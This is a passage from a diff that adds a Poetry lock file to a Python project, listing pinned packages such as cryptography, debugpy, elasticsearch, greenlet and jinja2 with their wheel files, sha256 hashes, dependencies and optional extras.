"cryptography-41.0.1-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7fa01527046ca5facdf973eef2535a27fec4cb651e4daec4d043ef63f6ecd4ca"}, + {file = "cryptography-41.0.1-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b46e37db3cc267b4dea1f56da7346c9727e1209aa98487179ee8ebed09d21e43"}, + {file = "cryptography-41.0.1-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:d198820aba55660b4d74f7b5fd1f17db3aa5eb3e6893b0a41b75e84e4f9e0e4b"}, + {file = "cryptography-41.0.1-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:948224d76c4b6457349d47c0c98657557f429b4e93057cf5a2f71d603e2fc3a3"}, + {file = "cryptography-41.0.1-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:059e348f9a3c1950937e1b5d7ba1f8e968508ab181e75fc32b879452f08356db"}, + {file = "cryptography-41.0.1-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:b4ceb5324b998ce2003bc17d519080b4ec8d5b7b70794cbd2836101406a9be31"}, + {file = "cryptography-41.0.1-cp37-abi3-win32.whl", hash = "sha256:8f4ab7021127a9b4323537300a2acfb450124b2def3756f64dc3a3d2160ee4b5"}, + {file = "cryptography-41.0.1-cp37-abi3-win_amd64.whl", hash = "sha256:1fee5aacc7367487b4e22484d3c7e547992ed726d14864ee33c0176ae43b0d7c"}, + {file = "cryptography-41.0.1-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:9a6c7a3c87d595608a39980ebaa04d5a37f94024c9f24eb7d10262b92f739ddb"}, + {file = "cryptography-41.0.1-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:5d092fdfedaec4cbbffbf98cddc915ba145313a6fdaab83c6e67f4e6c218e6f3"}, + {file = "cryptography-41.0.1-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:1a8e6c2de6fbbcc5e14fd27fb24414507cb3333198ea9ab1258d916f00bc3039"}, + {file = "cryptography-41.0.1-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:cb33ccf15e89f7ed89b235cff9d49e2e62c6c981a6061c9c8bb47ed7951190bc"}, + {file = "cryptography-41.0.1-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:5f0ff6e18d13a3de56f609dd1fd11470918f770c6bd5d00d632076c727d35485"}, + {file = "cryptography-41.0.1-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:7bfc55a5eae8b86a287747053140ba221afc65eb06207bedf6e019b8934b477c"}, + {file = "cryptography-41.0.1-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:eb8163f5e549a22888c18b0d53d6bb62a20510060a22fd5a995ec8a05268df8a"}, + {file = "cryptography-41.0.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:8dde71c4169ec5ccc1087bb7521d54251c016f126f922ab2dfe6649170a3b8c5"}, + {file = "cryptography-41.0.1.tar.gz", hash = "sha256:d34579085401d3f49762d2f7d6634d6b6c2ae1242202e860f4d26b046e3a1006"}, +] + +[package.dependencies] +cffi = ">=1.12" + +[package.extras] +docs = ["sphinx (>=5.3.0)", "sphinx-rtd-theme (>=1.1.1)"] +docstest = ["pyenchant (>=1.6.11)", "sphinxcontrib-spelling (>=4.0.1)", "twine (>=1.12.0)"] +nox = ["nox"] +pep8test = ["black", "check-sdist", "mypy", "ruff"] +sdist = ["build"] +ssh = ["bcrypt (>=3.1.5)"] +test = ["pretend", "pytest (>=6.2.0)", "pytest-benchmark", "pytest-cov", "pytest-xdist"] +test-randomorder = ["pytest-randomly"] + +[[package]] +name = "cycler" +version = "0.11.0" +description = "Composable style cycles" +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "cycler-0.11.0-py3-none-any.whl", hash = "sha256:3a27e95f763a428a739d2add979fa7494c912a32c17c4c38c4d5f082cad165a3"}, + {file = "cycler-0.11.0.tar.gz", hash = "sha256:9c87405839a19696e837b3b818fed3f5f69f16f1eec1a1ad77e043dcea9c772f"}, +] + +[[package]] +name = "debugpy" +version = "1.6.7" +description = "An implementation of the Debug Adapter Protocol for Python" +category = "dev" +optional = false +python-versions = ">=3.7" +files = [ + {file = "debugpy-1.6.7-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:b3e7ac809b991006ad7f857f016fa92014445085711ef111fdc3f74f66144096"}, + {file = "debugpy-1.6.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e3876611d114a18aafef6383695dfc3f1217c98a9168c1aaf1a02b01ec7d8d1e"}, + {file = "debugpy-1.6.7-cp310-cp310-win32.whl", hash = "sha256:33edb4afa85c098c24cc361d72ba7c21bb92f501104514d4ffec1fb36e09c01a"}, + {file = "debugpy-1.6.7-cp310-cp310-win_amd64.whl", hash = "sha256:ed6d5413474e209ba50b1a75b2d9eecf64d41e6e4501977991cdc755dc83ab0f"}, + {file = "debugpy-1.6.7-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:38ed626353e7c63f4b11efad659be04c23de2b0d15efff77b60e4740ea685d07"}, + {file = "debugpy-1.6.7-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:279d64c408c60431c8ee832dfd9ace7c396984fd7341fa3116aee414e7dcd88d"}, + {file = "debugpy-1.6.7-cp37-cp37m-win32.whl", hash = "sha256:dbe04e7568aa69361a5b4c47b4493d5680bfa3a911d1e105fbea1b1f23f3eb45"}, + {file = "debugpy-1.6.7-cp37-cp37m-win_amd64.whl", hash = "sha256:f90a2d4ad9a035cee7331c06a4cf2245e38bd7c89554fe3b616d90ab8aab89cc"}, + {file = "debugpy-1.6.7-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:5224eabbbeddcf1943d4e2821876f3e5d7d383f27390b82da5d9558fd4eb30a9"}, + {file = "debugpy-1.6.7-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bae1123dff5bfe548ba1683eb972329ba6d646c3a80e6b4c06cd1b1dd0205e9b"}, + {file = "debugpy-1.6.7-cp38-cp38-win32.whl", hash = "sha256:9cd10cf338e0907fdcf9eac9087faa30f150ef5445af5a545d307055141dd7a4"}, + {file = "debugpy-1.6.7-cp38-cp38-win_amd64.whl", hash = "sha256:aaf6da50377ff4056c8ed470da24632b42e4087bc826845daad7af211e00faad"}, + {file = "debugpy-1.6.7-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:0679b7e1e3523bd7d7869447ec67b59728675aadfc038550a63a362b63029d2c"}, + {file = "debugpy-1.6.7-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:de86029696e1b3b4d0d49076b9eba606c226e33ae312a57a46dca14ff370894d"}, + {file = "debugpy-1.6.7-cp39-cp39-win32.whl", hash = "sha256:d71b31117779d9a90b745720c0eab54ae1da76d5b38c8026c654f4a066b0130a"}, + {file = "debugpy-1.6.7-cp39-cp39-win_amd64.whl", hash = "sha256:c0ff93ae90a03b06d85b2c529eca51ab15457868a377c4cc40a23ab0e4e552a3"}, + {file = "debugpy-1.6.7-py2.py3-none-any.whl", hash = "sha256:53f7a456bc50706a0eaabecf2d3ce44c4d5010e46dfc65b6b81a518b42866267"}, + {file = "debugpy-1.6.7.zip", hash = "sha256:c4c2f0810fa25323abfdfa36cbbbb24e5c3b1a42cb762782de64439c575d67f2"}, +] + +[[package]] +name = "decorator" +version = "5.1.1" +description = "Decorators for Humans" +category = "main" +optional = false +python-versions = ">=3.5" +files = [ + {file = "decorator-5.1.1-py3-none-any.whl", hash = "sha256:b8c3f85900b9dc423225913c5aace94729fe1fa9763b38939a95226f02d37186"}, + {file = "decorator-5.1.1.tar.gz", hash = "sha256:637996211036b6385ef91435e4fae22989472f9d571faba8927ba8253acbc330"}, +] + +[[package]] +name = "elastic-transport" +version = "8.4.0" +description = "Transport classes and utilities shared among Python Elastic client libraries" +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "elastic-transport-8.4.0.tar.gz", hash = "sha256:b9ad708ceb7fcdbc6b30a96f886609a109f042c0b9d9f2e44403b3133ba7ff10"}, + {file = "elastic_transport-8.4.0-py3-none-any.whl", hash = "sha256:19db271ab79c9f70f8c43f8f5b5111408781a6176b54ab2e54d713b6d9ceb815"}, +] + +[package.dependencies] +certifi = "*" +urllib3 = ">=1.26.2,<2" + +[package.extras] +develop = ["aiohttp", "mock", "pytest", "pytest-asyncio", "pytest-cov", "pytest-httpserver", "pytest-mock", "requests", "trustme"] + +[[package]] +name = "elasticsearch" +version = "8.8.0" +description = "Python client for Elasticsearch" +category = "main" +optional = false +python-versions = ">=3.6, <4" +files = [ + {file = "elasticsearch-8.8.0-py3-none-any.whl", hash = "sha256:2223ee9daaa3c80c25b28ec3f7c48e66fce6b767a338333d9a81886046a07df6"}, + {file = "elasticsearch-8.8.0.tar.gz", hash = "sha256:6878313cd598c7c90079fed1d4be72e198da35cba57f4083e6bee91f9c70b0eb"}, +] + +[package.dependencies] +elastic-transport = ">=8,<9" + +[package.extras] +async = ["aiohttp (>=3,<4)"] +requests = ["requests (>=2.4.0,<3.0.0)"] + +[[package]] +name = "extra-streamlit-components" +version = "0.1.56" +description = "An all-in-one place, to find complex or just natively unavailable components on streamlit." +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "extra_streamlit_components-0.1.56-py3-none-any.whl", hash = "sha256:a1daed730ae7da50b5daa73095f0509c9be0c286f5902f2987e5b4031904c182"}, + {file = "extra_streamlit_components-0.1.56.tar.gz", hash = "sha256:d553ce2f7c02bdd57f66c8c7a29eafc0cb75bfd743ab48d615b21acda185534f"}, +] + +[package.dependencies] +streamlit = ">=0.87" + +[[package]] +name = "faker" +version = "18.10.1" +description = "Faker is a Python package that generates fake data for you." +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "Faker-18.10.1-py3-none-any.whl", hash = "sha256:633b278caa3ec239463f9139c74da2607c8da5710e56d5d7d30fc8a7440104c4"}, + {file = "Faker-18.10.1.tar.gz", hash = "sha256:d9f363720c4a6cf9884c6c3e26e2ce26266ffe5d741a9bc7cb9256779bc62190"}, +] + +[package.dependencies] +python-dateutil = ">=2.4" + +[[package]] +name = "favicon" +version = "0.7.0" +description = "Get a website's favicon." +category = "main" +optional = false +python-versions = "*" +files = [ + {file = "favicon-0.7.0-py2.py3-none-any.whl", hash = "sha256:7fec0617c73dcb8521ea788e1d38cdc7226c7cb8e28c81e11625d85fa1534880"}, + {file = "favicon-0.7.0.tar.gz", hash = "sha256:6d6b5a78de2a0d0084589f687f384b2ecd6a6527093fec564403b1a30605d7a8"}, +] + +[package.dependencies] +beautifulsoup4 = ">=4.7.0" +requests = ">=2.21.0" + +[[package]] +name = "fonttools" +version = "4.39.4" +description = "Tools to manipulate font files" +category = "main" +optional = false +python-versions = ">=3.8" +files = [ + {file = "fonttools-4.39.4-py3-none-any.whl", hash = "sha256:106caf6167c4597556b31a8d9175a3fdc0356fdcd70ab19973c3b0d4c893c461"}, + {file = "fonttools-4.39.4.zip", hash = "sha256:dba8d7cdb8e2bac1b3da28c5ed5960de09e59a2fe7e63bb73f5a59e57b0430d2"}, +] + +[package.extras] +all = ["brotli (>=1.0.1)", "brotlicffi (>=0.8.0)", "fs (>=2.2.0,<3)", "lxml (>=4.0,<5)", "lz4 (>=1.7.4.2)", "matplotlib", "munkres", "scipy", "skia-pathops (>=0.5.0)", "sympy", "uharfbuzz (>=0.23.0)", "unicodedata2 (>=15.0.0)", "xattr", "zopfli (>=0.1.4)"] +graphite = ["lz4 (>=1.7.4.2)"] +interpolatable = ["munkres", "scipy"] +lxml = ["lxml (>=4.0,<5)"] +pathops = ["skia-pathops (>=0.5.0)"] +plot = ["matplotlib"] +repacker = ["uharfbuzz (>=0.23.0)"] +symfont = ["sympy"] +type1 = ["xattr"] +ufo = ["fs (>=2.2.0,<3)"] +unicode = ["unicodedata2 (>=15.0.0)"] +woff = ["brotli (>=1.0.1)", "brotlicffi (>=0.8.0)", "zopfli (>=0.1.4)"] + +[[package]] +name = "gitdb" +version = "4.0.10" +description = "Git Object Database" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "gitdb-4.0.10-py3-none-any.whl", hash = "sha256:c286cf298426064079ed96a9e4a9d39e7f3e9bf15ba60701e95f5492f28415c7"}, + {file = "gitdb-4.0.10.tar.gz", hash = "sha256:6eb990b69df4e15bad899ea868dc46572c3f75339735663b81de79b06f17eb9a"}, +] + +[package.dependencies] +smmap = ">=3.0.1,<6" + +[[package]] +name = "gitpython" +version = "3.1.31" +description = "GitPython is a Python library used to interact with Git repositories" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "GitPython-3.1.31-py3-none-any.whl", hash = "sha256:f04893614f6aa713a60cbbe1e6a97403ef633103cdd0ef5eb6efe0deb98dbe8d"}, + {file = "GitPython-3.1.31.tar.gz", hash = "sha256:8ce3bcf69adfdf7c7d503e78fd3b1c492af782d58893b650adb2ac8912ddd573"}, +] + +[package.dependencies] +gitdb = ">=4.0.1,<5" + +[[package]] +name = "greenlet" +version = "2.0.2" +description = "Lightweight in-process concurrent programming" +category = "main" +optional = false +python-versions = ">=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*" +files = [ + {file = "greenlet-2.0.2-cp27-cp27m-macosx_10_14_x86_64.whl", hash = "sha256:bdfea8c661e80d3c1c99ad7c3ff74e6e87184895bbaca6ee8cc61209f8b9b85d"}, + {file = "greenlet-2.0.2-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:9d14b83fab60d5e8abe587d51c75b252bcc21683f24699ada8fb275d7712f5a9"}, + {file = "greenlet-2.0.2-cp27-cp27m-win32.whl", hash = "sha256:6c3acb79b0bfd4fe733dff8bc62695283b57949ebcca05ae5c129eb606ff2d74"}, + {file = "greenlet-2.0.2-cp27-cp27m-win_amd64.whl", hash = "sha256:283737e0da3f08bd637b5ad058507e578dd462db259f7f6e4c5c365ba4ee9343"}, + {file = "greenlet-2.0.2-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:d27ec7509b9c18b6d73f2f5ede2622441de812e7b1a80bbd446cb0633bd3d5ae"}, + {file = "greenlet-2.0.2-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:30bcf80dda7f15ac77ba5af2b961bdd9dbc77fd4ac6105cee85b0d0a5fcf74df"}, + {file = "greenlet-2.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:26fbfce90728d82bc9e6c38ea4d038cba20b7faf8a0ca53a9c07b67318d46088"}, + {file = "greenlet-2.0.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9190f09060ea4debddd24665d6804b995a9c122ef5917ab26e1566dcc712ceeb"}, + {file = "greenlet-2.0.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d75209eed723105f9596807495d58d10b3470fa6732dd6756595e89925ce2470"}, + {file = "greenlet-2.0.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:3a51c9751078733d88e013587b108f1b7a1fb106d402fb390740f002b6f6551a"}, + {file = "greenlet-2.0.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:76ae285c8104046b3a7f06b42f29c7b73f77683df18c49ab5af7983994c2dd91"}, + {file = "greenlet-2.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:2d4686f195e32d36b4d7cf2d166857dbd0ee9f3d20ae349b6bf8afc8485b3645"}, + {file = "greenlet-2.0.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:c4302695ad8027363e96311df24ee28978162cdcdd2006476c43970b384a244c"}, + {file = "greenlet-2.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c48f54ef8e05f04d6eff74b8233f6063cb1ed960243eacc474ee73a2ea8573ca"}, + {file = "greenlet-2.0.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a1846f1b999e78e13837c93c778dcfc3365902cfb8d1bdb7dd73ead37059f0d0"}, + {file = "greenlet-2.0.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3a06ad5312349fec0ab944664b01d26f8d1f05009566339ac6f63f56589bc1a2"}, + {file = "greenlet-2.0.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:eff4eb9b7eb3e4d0cae3d28c283dc16d9bed6b193c2e1ace3ed86ce48ea8df19"}, + {file = "greenlet-2.0.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:5454276c07d27a740c5892f4907c86327b632127dd9abec42ee62e12427ff7e3"}, + {file = "greenlet-2.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:7cafd1208fdbe93b67c7086876f061f660cfddc44f404279c1585bbf3cdc64c5"}, + {file = "greenlet-2.0.2-cp35-cp35m-macosx_10_14_x86_64.whl", hash = "sha256:910841381caba4f744a44bf81bfd573c94e10b3045ee00de0cbf436fe50673a6"}, + {file = "greenlet-2.0.2-cp35-cp35m-manylinux2010_x86_64.whl", hash = "sha256:18a7f18b82b52ee85322d7a7874e676f34ab319b9f8cce5de06067384aa8ff43"}, + {file = "greenlet-2.0.2-cp35-cp35m-win32.whl", hash = "sha256:03a8f4f3430c3b3ff8d10a2a86028c660355ab637cee9333d63d66b56f09d52a"}, + {file = "greenlet-2.0.2-cp35-cp35m-win_amd64.whl", hash = "sha256:4b58adb399c4d61d912c4c331984d60eb66565175cdf4a34792cd9600f21b394"}, + {file = "greenlet-2.0.2-cp36-cp36m-macosx_10_14_x86_64.whl", hash = "sha256:703f18f3fda276b9a916f0934d2fb6d989bf0b4fb5a64825260eb9bfd52d78f0"}, + {file = "greenlet-2.0.2-cp36-cp36m-manylinux2010_x86_64.whl", hash = "sha256:32e5b64b148966d9cccc2c8d35a671409e45f195864560829f395a54226408d3"}, + {file = "greenlet-2.0.2-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2dd11f291565a81d71dab10b7033395b7a3a5456e637cf997a6f33ebdf06f8db"}, + {file = "greenlet-2.0.2-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e0f72c9ddb8cd28532185f54cc1453f2c16fb417a08b53a855c4e6a418edd099"}, + {file = "greenlet-2.0.2-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cd021c754b162c0fb55ad5d6b9d960db667faad0fa2ff25bb6e1301b0b6e6a75"}, + {file = "greenlet-2.0.2-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:3c9b12575734155d0c09d6c3e10dbd81665d5c18e1a7c6597df72fd05990c8cf"}, + {file = "greenlet-2.0.2-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:b9ec052b06a0524f0e35bd8790686a1da006bd911dd1ef7d50b77bfbad74e292"}, + {file = "greenlet-2.0.2-cp36-cp36m-win32.whl", hash = "sha256:dbfcfc0218093a19c252ca8eb9aee3d29cfdcb586df21049b9d777fd32c14fd9"}, + {file = "greenlet-2.0.2-cp36-cp36m-win_amd64.whl", hash = "sha256:9f35ec95538f50292f6d8f2c9c9f8a3c6540bbfec21c9e5b4b751e0a7c20864f"}, + {file = "greenlet-2.0.2-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:d5508f0b173e6aa47273bdc0a0b5ba055b59662ba7c7ee5119528f466585526b"}, + {file = "greenlet-2.0.2-cp37-cp37m-manylinux2010_x86_64.whl", hash = "sha256:f82d4d717d8ef19188687aa32b8363e96062911e63ba22a0cff7802a8e58e5f1"}, + {file = "greenlet-2.0.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c9c59a2120b55788e800d82dfa99b9e156ff8f2227f07c5e3012a45a399620b7"}, + {file = "greenlet-2.0.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2780572ec463d44c1d3ae850239508dbeb9fed38e294c68d19a24d925d9223ca"}, + {file = "greenlet-2.0.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:937e9020b514ceedb9c830c55d5c9872abc90f4b5862f89c0887033ae33c6f73"}, + {file = "greenlet-2.0.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:36abbf031e1c0f79dd5d596bfaf8e921c41df2bdf54ee1eed921ce1f52999a86"}, + {file = "greenlet-2.0.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:18e98fb3de7dba1c0a852731c3070cf022d14f0d68b4c87a19cc1016f3bb8b33"}, + {file = "greenlet-2.0.2-cp37-cp37m-win32.whl", hash = "sha256:3f6ea9bd35eb450837a3d80e77b517ea5bc56b4647f5502cd28de13675ee12f7"}, + {file = "greenlet-2.0.2-cp37-cp37m-win_amd64.whl", hash = "sha256:7492e2b7bd7c9b9916388d9df23fa49d9b88ac0640db0a5b4ecc2b653bf451e3"}, + {file = "greenlet-2.0.2-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:b864ba53912b6c3ab6bcb2beb19f19edd01a6bfcbdfe1f37ddd1778abfe75a30"}, + {file = "greenlet-2.0.2-cp38-cp38-manylinux2010_x86_64.whl", hash = "sha256:ba2956617f1c42598a308a84c6cf021a90ff3862eddafd20c3333d50f0edb45b"}, + {file = "greenlet-2.0.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fc3a569657468b6f3fb60587e48356fe512c1754ca05a564f11366ac9e306526"}, + {file = "greenlet-2.0.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8eab883b3b2a38cc1e050819ef06a7e6344d4a990d24d45bc6f2cf959045a45b"}, + {file = "greenlet-2.0.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:acd2162a36d3de67ee896c43effcd5ee3de247eb00354db411feb025aa319857"}, + {file = "greenlet-2.0.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:0bf60faf0bc2468089bdc5edd10555bab6e85152191df713e2ab1fcc86382b5a"}, + {file = "greenlet-2.0.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:b0ef99cdbe2b682b9ccbb964743a6aca37905fda5e0452e5ee239b1654d37f2a"}, + {file = "greenlet-2.0.2-cp38-cp38-win32.whl", hash = "sha256:b80f600eddddce72320dbbc8e3784d16bd3fb7b517e82476d8da921f27d4b249"}, + {file = "greenlet-2.0.2-cp38-cp38-win_amd64.whl", hash = "sha256:4d2e11331fc0c02b6e84b0d28ece3a36e0548ee1a1ce9ddde03752d9b79bba40"}, + {file = "greenlet-2.0.2-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:88d9ab96491d38a5ab7c56dd7a3cc37d83336ecc564e4e8816dbed12e5aaefc8"}, + {file = "greenlet-2.0.2-cp39-cp39-manylinux2010_x86_64.whl", hash = "sha256:561091a7be172ab497a3527602d467e2b3fbe75f9e783d8b8ce403fa414f71a6"}, + {file = "greenlet-2.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:971ce5e14dc5e73715755d0ca2975ac88cfdaefcaab078a284fea6cfabf866df"}, + {file = "greenlet-2.0.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:be4ed120b52ae4d974aa40215fcdfde9194d63541c7ded40ee12eb4dda57b76b"}, + {file = "greenlet-2.0.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:94c817e84245513926588caf1152e3b559ff794d505555211ca041f032abbb6b"}, + {file = "greenlet-2.0.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:1a819eef4b0e0b96bb0d98d797bef17dc1b4a10e8d7446be32d1da33e095dbb8"}, + {file = "greenlet-2.0.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:7efde645ca1cc441d6dc4b48c0f7101e8d86b54c8530141b09fd31cef5149ec9"}, + {file = "greenlet-2.0.2-cp39-cp39-win32.whl", hash = "sha256:ea9872c80c132f4663822dd2a08d404073a5a9b5ba6155bea72fb2a79d1093b5"}, + {file = "greenlet-2.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:db1a39669102a1d8d12b57de2bb7e2ec9066a6f2b3da35ae511ff93b01b5d564"}, + {file = "greenlet-2.0.2.tar.gz", hash = "sha256:e7c8dc13af7db097bed64a051d2dd49e9f0af495c26995c00a9ee842690d34c0"}, +] + +[package.extras] +docs = ["Sphinx", "docutils (<0.18)"] +test = ["objgraph", "psutil"] + +[[package]] +name = "htbuilder" +version = "0.6.1" +description = "A purely-functional HTML builder for Python. Think JSX rather than templates." +category = "main" +optional = false +python-versions = ">=3.5" +files = [ + {file = "htbuilder-0.6.1.tar.gz", hash = "sha256:b7cafab8f27162a35f7ce15e387239c95d12c3d81fc38f91cad499e88cc0fcd8"}, +] + +[package.dependencies] +more-itertools = "*" + +[[package]] +name = "idna" +version = "3.4" +description = "Internationalized Domain Names in Applications (IDNA)" +category = "main" +optional = false +python-versions = ">=3.5" +files = [ + {file = "idna-3.4-py3-none-any.whl", hash = "sha256:90b77e79eaa3eba6de819a0c442c0b4ceefc341a7a2ab77d7562bf49f425c5c2"}, + {file = "idna-3.4.tar.gz", hash = "sha256:814f528e8dead7d329833b91c5faa87d60bf71824cd12a7530b5526063d02cb4"}, +] + +[[package]] +name = "importlib-metadata" +version = "6.6.0" +description = "Read metadata from Python packages" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "importlib_metadata-6.6.0-py3-none-any.whl", hash = "sha256:43dd286a2cd8995d5eaef7fee2066340423b818ed3fd70adf0bad5f1fac53fed"}, + {file = "importlib_metadata-6.6.0.tar.gz", hash = "sha256:92501cdf9cc66ebd3e612f1b4f0c0765dfa42f0fa38ffb319b6bd84dd675d705"}, +] + +[package.dependencies] +zipp = ">=0.5" + +[package.extras] +docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] +perf = ["ipython"] +testing = ["flake8 (<5)", "flufl.flake8", "importlib-resources (>=1.3)", "packaging", "pyfakefs", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-flake8", "pytest-mypy (>=0.9.1)", "pytest-perf (>=0.9.2)"] + +[[package]] +name = "jinja2" +version = "3.1.2" +description = "A very fast and expressive template engine." +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "Jinja2-3.1.2-py3-none-any.whl", hash = "sha256:6088930bfe239f0e6710546ab9c19c9ef35e29792895fed6e6e31a023a182a61"}, + {file = "Jinja2-3.1.2.tar.gz", hash = "sha256:31351a702a408a9e7595a8fc6150fc3f43bb6bf7e319770cbc0db9df9437e852"}, +] + +[package.dependencies] +MarkupSafe = ">=2.0" + +[package.extras] +i18n = ["Babel (>=2.7)"] + +[[package]] +name = "jsonschema" +version = "4.17.3" +description = "An implementation of JSON Schema validation for Python" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "jsonschema-4.17.3-py3-none-any.whl", hash = "sha256:a870ad254da1a8ca84b6a2905cac29d265f805acc57af304784962a2aa6508f6"}, + {file = "jsonschema-4.17.3.tar.gz", hash = "sha256:0f864437ab8b6076ba6707453ef8f98a6a0d512a80e93f8abdb676f737ecb60d"}, +] + +[package.dependencies] +attrs = ">=17.4.0" +pyrsistent = ">=0.14.0,<0.17.0 || >0.17.0,<0.17.1 || >0.17.1,<0.17.2 || >0.17.2" + +[package.extras] +format = ["fqdn", "idna", "isoduration", "jsonpointer (>1.13)", "rfc3339-validator", "rfc3987", "uri-template", "webcolors (>=1.11)"] +format-nongpl = ["fqdn", "idna", "isoduration", "jsonpointer (>1.13)", "rfc3339-validator", "rfc3986-validator (>0.1.0)", "uri-template", "webcolors (>=1.11)"] + +[[package]] +name = "kiwisolver" +version = "1.4.4" +description = "A fast implementation of the Cassowary constraint solver" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "kiwisolver-1.4.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:2f5e60fabb7343a836360c4f0919b8cd0d6dbf08ad2ca6b9cf90bf0c76a3c4f6"}, + {file = "kiwisolver-1.4.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:10ee06759482c78bdb864f4109886dff7b8a56529bc1609d4f1112b93fe6423c"}, + {file = "kiwisolver-1.4.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c79ebe8f3676a4c6630fd3f777f3cfecf9289666c84e775a67d1d358578dc2e3"}, + {file = "kiwisolver-1.4.4-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:abbe9fa13da955feb8202e215c4018f4bb57469b1b78c7a4c5c7b93001699938"}, + {file = "kiwisolver-1.4.4-cp310-cp310-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:7577c1987baa3adc4b3c62c33bd1118c3ef5c8ddef36f0f2c950ae0b199e100d"}, + {file = "kiwisolver-1.4.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = 